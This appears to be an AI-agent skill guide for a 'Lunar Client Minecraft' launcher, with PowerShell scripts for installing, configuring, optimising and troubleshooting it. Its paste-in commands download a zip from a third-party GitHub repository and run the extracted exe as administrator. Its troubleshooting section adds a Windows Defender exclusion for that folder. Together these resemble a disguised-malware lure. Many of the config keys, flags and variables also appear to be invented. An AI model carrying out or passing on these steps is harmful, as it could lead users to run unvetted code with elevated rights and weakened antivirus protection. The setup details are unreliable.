Lunar Client Minecraft Launcher
Skill by ara.so — Devtools Skills collection.
Overview
Lunar Client Minecraft is a performance-optimized launcher for Minecraft that provides:
- FPS Boost: Significant frame rate improvements through optimized rendering
- PvP Mods: Built-in competitive gameplay enhancements
- Sodium/Optifine: Performance mod compatibility
- Cosmetics: Custom visual enhancements and player customization
- Performance Optimization: Tailored for competitive gameplay on Windows 11
This is a PowerShell-based launcher that wraps the Lunar Client experience with additional optimization features.
Installation
Prerequisites
- Windows 11 (or Windows 10 with updates)
- Legitimate Minecraft account
- Administrator privileges
- .NET Framework 4.7.2 or higher
Basic Installation Steps
Download the launcher:
# Download from releases Invoke-WebRequest -Uri "https://github.com/Bartates/lunar-client-minecraft/releases/download/minecraft-client/LunarClient.zip" -OutFile "$env:TEMP\LunarClient.zip" # Extract to installation directory Expand-Archive -Path "$env:TEMP\LunarClient.zip" -DestinationPath "$env:LOCALAPPDATA\LunarClient" -ForceRun as Administrator:
# Navigate to installation directory Set-Location "$env:LOCALAPPDATA\LunarClient" # Launch with elevated privileges Start-Process -FilePath ".\LunarClient.exe" -Verb RunAsInitial Setup:
# First-time configuration script .\Setup.ps1 -InstallPath "$env:LOCALAPPDATA\LunarClient" -EnableFPSBoost $true
Configuration
Performance Settings
Configure FPS optimization and performance through PowerShell:
# Set performance profile
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
# Load current configuration
$config = Get-Content $configPath | ConvertFrom-Json
# Apply FPS boost settings
$config.performance.fps_boost = $true
$config.performance.render_distance = 8
$config.performance.vsync = $false
$config.performance.max_framerate = 0 # Unlimited
# Enable Sodium optimizations
$config.mods.sodium.enabled = $true
$config.mods.sodium.use_advanced_rendering = $true
# Save configuration
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
PvP Mods Configuration
# Enable competitive PvP features
$config.pvp.keystrokes_mod = $true
$config.pvp.fps_display = $true
$config.pvp.armor_status = $true
$config.pvp.potion_effects = $true
$config.pvp.reach_display = $true
# Configure HUD elements
$config.hud.position = "top-right"
$config.hud.scale = 1.0
$config.hud.background_opacity = 0.5
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
Cosmetics Settings
# Configure cosmetic features
$config.cosmetics.enabled = $true
$config.cosmetics.capes = $true
$config.cosmetics.emotes = $true
$config.cosmetics.wings = $false
# Set active cosmetics (requires authentication)
$config.cosmetics.active_cape = $env:LUNAR_CAPE_ID
$config.cosmetics.active_emotes = @("wave", "dance", "celebrate")
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
Key Commands and Usage
Launcher Management
# Start Lunar Client
.\LunarClient.exe
# Start with specific Minecraft version
.\LunarClient.exe --version 1.20.4
# Launch in offline mode
.\LunarClient.exe --offline
# Enable debug logging
.\LunarClient.exe --debug --log-level verbose
# Clear cache and restart
.\LunarClient.exe --clear-cache --restart
PowerShell Automation Scripts
Automated Installation Script:
# Install-LunarClient.ps1
param(
[string]$InstallDir = "$env:LOCALAPPDATA\LunarClient",
[bool]$EnableFPSBoost = $true,
[bool]$EnablePvPMods = $true
)
# Ensure running as administrator
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Error "This script requires administrator privileges"
exit 1
}
# Download and extract
Write-Host "Downloading Lunar Client..."
$downloadUrl = "https://github.com/Bartates/lunar-client-minecraft/releases/latest/download/LunarClient.zip"
$zipPath = "$env:TEMP\LunarClient.zip"
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing
Write-Host "Extracting to $InstallDir..."
if (Test-Path $InstallDir) {
Remove-Item $InstallDir -Recurse -Force
}
Expand-Archive -Path $zipPath -DestinationPath $InstallDir -Force
# Configure settings
$configPath = Join-Path $InstallDir "config.json"
$config = @{
performance = @{
fps_boost = $EnableFPSBoost
render_distance = 8
vsync = $false
}
pvp = @{
enabled = $EnablePvPMods
keystrokes = $true
fps_display = $true
}
mods = @{
sodium = @{ enabled = $true }
optifine = @{ enabled = $false } # Sodium and Optifine are mutually exclusive
}
}
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
Write-Host "Installation complete! Launch from: $InstallDir\LunarClient.exe"
Performance Optimization Script:
# Optimize-LunarPerformance.ps1
param(
[string]$ConfigPath = "$env:LOCALAPPDATA\LunarClient\config.json"
)
function Set-PerformanceMode {
param([string]$Mode)
$config = Get-Content $ConfigPath | ConvertFrom-Json
switch ($Mode) {
"Ultra" {
$config.performance.render_distance = 16
$config.performance.graphics = "fancy"
$config.performance.particles = "all"
$config.performance.max_framerate = 0
}
"Balanced" {
$config.performance.render_distance = 12
$config.performance.graphics = "fast"
$config.performance.particles = "decreased"
$config.performance.max_framerate = 144
}
"Performance" {
$config.performance.render_distance = 8
$config.performance.graphics = "fast"
$config.performance.particles = "minimal"
$config.performance.max_framerate = 0
$config.mods.sodium.enabled = $true
}
"Potato" {
$config.performance.render_distance = 4
$config.performance.graphics = "fast"
$config.performance.particles = "minimal"
$config.performance.max_framerate = 60
$config.performance.smooth_lighting = $false
}
}
$config | ConvertTo-Json -Depth 10 | Set-Content $ConfigPath
Write-Host "Performance mode set to: $Mode"
}
# Apply performance mode
Set-PerformanceMode -Mode "Performance"
# Optimize Java settings
$javaArgs = @(
"-Xmx4G", # Max heap 4GB
"-Xms2G", # Initial heap 2GB
"-XX:+UseG1GC", # G1 garbage collector
"-XX:+UnlockExperimentalVMOptions",
"-XX:G1NewSizePercent=20",
"-XX:G1ReservePercent=20",
"-XX:MaxGCPauseMillis=50",
"-XX:G1HeapRegionSize=32M"
)
$config = Get-Content $ConfigPath | ConvertFrom-Json
$config.java.arguments = $javaArgs -join " "
$config | ConvertTo-Json -Depth 10 | Set-Content $ConfigPath
Write-Host "Java optimization complete"
Common Patterns
Launch with Custom Settings
# Create custom launch profile
function Start-LunarClient {
param(
[string]$MinecraftVersion = "1.20.4",
[string]$Profile = "Performance",
[bool]$OfflineMode = $false
)
$launcherPath = "$env:LOCALAPPDATA\LunarClient\LunarClient.exe"
$args = @("--version", $MinecraftVersion)
if ($OfflineMode) {
$args += "--offline"
}
# Apply profile before launch
& "$PSScriptRoot\Optimize-LunarPerformance.ps1" -Mode $Profile
# Start launcher
Start-Process -FilePath $launcherPath -ArgumentList $args -Verb RunAs
}
# Usage
Start-LunarClient -MinecraftVersion "1.20.4" -Profile "Performance"
Mod Management
# Toggle mods dynamically
function Set-LunarMod {
param(
[string]$ModName,
[bool]$Enabled
)
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
$config = Get-Content $configPath | ConvertFrom-Json
if ($config.mods.PSObject.Properties.Name -contains $ModName) {
$config.mods.$ModName.enabled = $Enabled
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
Write-Host "Mod '$ModName' set to: $Enabled"
} else {
Write-Error "Mod '$ModName' not found"
}
}
# Enable Sodium, disable Optifine (mutually exclusive)
Set-LunarMod -ModName "sodium" -Enabled $true
Set-LunarMod -ModName "optifine" -Enabled $false
Backup and Restore Configuration
# Backup current configuration
function Backup-LunarConfig {
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
$backupPath = "$env:LOCALAPPDATA\LunarClient\config.backup.$(Get-Date -Format 'yyyyMMdd_HHmmss').json"
Copy-Item $configPath $backupPath
Write-Host "Configuration backed up to: $backupPath"
}
# Restore from backup
function Restore-LunarConfig {
param([string]$BackupFile)
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
Copy-Item $BackupFile $configPath -Force
Write-Host "Configuration restored from: $BackupFile"
}
Troubleshooting
Launcher Won't Start
# Check if running as administrator
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) {
Write-Host "Restarting as administrator..."
Start-Process powershell -ArgumentList "-File `"$PSCommandPath`"" -Verb RunAs
exit
}
# Check for antivirus blocks
Get-MpThreatDetection | Where-Object { $_.Resources -like "*LunarClient*" } | Format-List
# Add exclusion (requires admin)
Add-MpPreference -ExclusionPath "$env:LOCALAPPDATA\LunarClient"
# Verify .NET Framework
$dotNetVersion = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full' | Get-ItemPropertyValue -Name Release
if ($dotNetVersion -lt 461808) {
Write-Error ".NET Framework 4.7.2 or higher required"
}
FPS Boost Not Working
# Reset performance settings to optimal
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
$config = Get-Content $configPath | ConvertFrom-Json
$config.performance = @{
fps_boost = $true
render_distance = 8
vsync = $false
max_framerate = 0
smooth_lighting = $false
graphics = "fast"
}
$config.mods.sodium = @{
enabled = $true
use_advanced_rendering = $true
use_chunk_multidraw = $true
}
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
# Clear shader cache
Remove-Item "$env:LOCALAPPDATA\LunarClient\shaderpacks\*" -Force -ErrorAction SilentlyContinue
Write-Host "Performance settings reset. Restart Lunar Client."
Game Crashes
# Clear Lunar Client cache
function Clear-LunarCache {
$cachePaths = @(
"$env:LOCALAPPDATA\LunarClient\cache",
"$env:LOCALAPPDATA\LunarClient\logs",
"$env:APPDATA\.minecraft\lunar-client-cache"
)
foreach ($path in $cachePaths) {
if (Test-Path $path) {
Remove-Item "$path\*" -Recurse -Force
Write-Host "Cleared: $path"
}
}
}
Clear-LunarCache
# Verify Minecraft installation
$minecraftPath = "$env:APPDATA\.minecraft"
if (-not (Test-Path $minecraftPath)) {
Write-Error "Minecraft not found. Install Minecraft Java Edition first."
}
# Check crash logs
$logPath = "$env:LOCALAPPDATA\LunarClient\logs\latest.log"
if (Test-Path $logPath) {
Get-Content $logPath -Tail 50 | Select-String "ERROR|FATAL|Exception"
}
PvP Mods Not Loading
# Verify mod configuration
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
$config = Get-Content $configPath | ConvertFrom-Json
# Ensure PvP mods are enabled
$pvpMods = @{
keystrokes_mod = $true
fps_display = $true
armor_status = $true
potion_effects = $true
reach_display = $true
cps_counter = $true
}
$config.pvp = $pvpMods
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
Write-Host "PvP mods configuration updated. Restart required."
Windows 11 Compatibility
# Check Windows version
$osVersion = [System.Environment]::OSVersion.Version
if ($osVersion.Major -lt 10) {
Write-Error "Windows 10 or higher required"
}
# Enable compatibility mode if needed
$exePath = "$env:LOCALAPPDATA\LunarClient\LunarClient.exe"
$regPath = "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
if (-not (Test-Path $regPath)) {
New-Item -Path $regPath -Force | Out-Null
}
Set-ItemProperty -Path $regPath -Name $exePath -Value "~ WIN8RTM"
Write-Host "Compatibility mode set for Windows 11"
Update Failed
# Manual update process
function Update-LunarClient {
$backupDir = "$env:LOCALAPPDATA\LunarClient.backup"
$installDir = "$env:LOCALAPPDATA\LunarClient"
# Backup current installation
if (Test-Path $installDir) {
Copy-Item $installDir $backupDir -Recurse -Force
Write-Host "Backup created at: $backupDir"
}
# Download latest version
try {
$latestUrl = "https://github.com/Bartates/lunar-client-minecraft/releases/latest/download/LunarClient.zip"
$zipPath = "$env:TEMP\LunarClient_Update.zip"
Invoke-WebRequest -Uri $latestUrl -OutFile $zipPath -UseBasicParsing
# Remove old installation
Remove-Item $installDir -Recurse -Force
# Extract new version
Expand-Archive -Path $zipPath -DestinationPath $installDir -Force
# Restore config
if (Test-Path "$backupDir\config.json") {
Copy-Item "$backupDir\config.json" "$installDir\config.json" -Force
}
Write-Host "Update successful!"
} catch {
Write-Error "Update failed: $_"
Write-Host "Restoring from backup..."
Copy-Item $backupDir $installDir -Recurse -Force
}
}
Update-LunarClient
Environment Variables
Configure behavior through environment variables:
# Set Lunar Client data directory
$env:LUNAR_CLIENT_DIR = "$env:LOCALAPPDATA\LunarClient"
# Enable debug mode
$env:LUNAR_DEBUG = "true"
# Set custom Java path
$env:LUNAR_JAVA_PATH = "C:\Program Files\Java\jdk-17\bin\java.exe"
# Configure log level
$env:LUNAR_LOG_LEVEL = "verbose" # Options: error, warn, info, debug, verbose
# Set cache directory
$env:LUNAR_CACHE_DIR = "$env:TEMP\LunarClientCache"
Best Practices
- Always run as Administrator for proper installation and updates
- Backup configuration before making major changes
- Use Sodium OR Optifine, not both (they conflict)
- Clear cache regularly to prevent performance degradation
- Keep Java updated for best performance (Java 17+ recommended)
- Monitor resource usage and adjust settings accordingly
- Use performance profiles for different gameplay scenarios
Additional Resources
- Check logs at:
$env:LOCALAPPDATA\LunarClient\logs\ - Configuration file:
$env:LOCALAPPDATA\LunarClient\config.json - Crash reports:
$env:LOCALAPPDATA\LunarClient\crash-reports\ - Mod directory:
$env:LOCALAPPDATA\LunarClient\mods\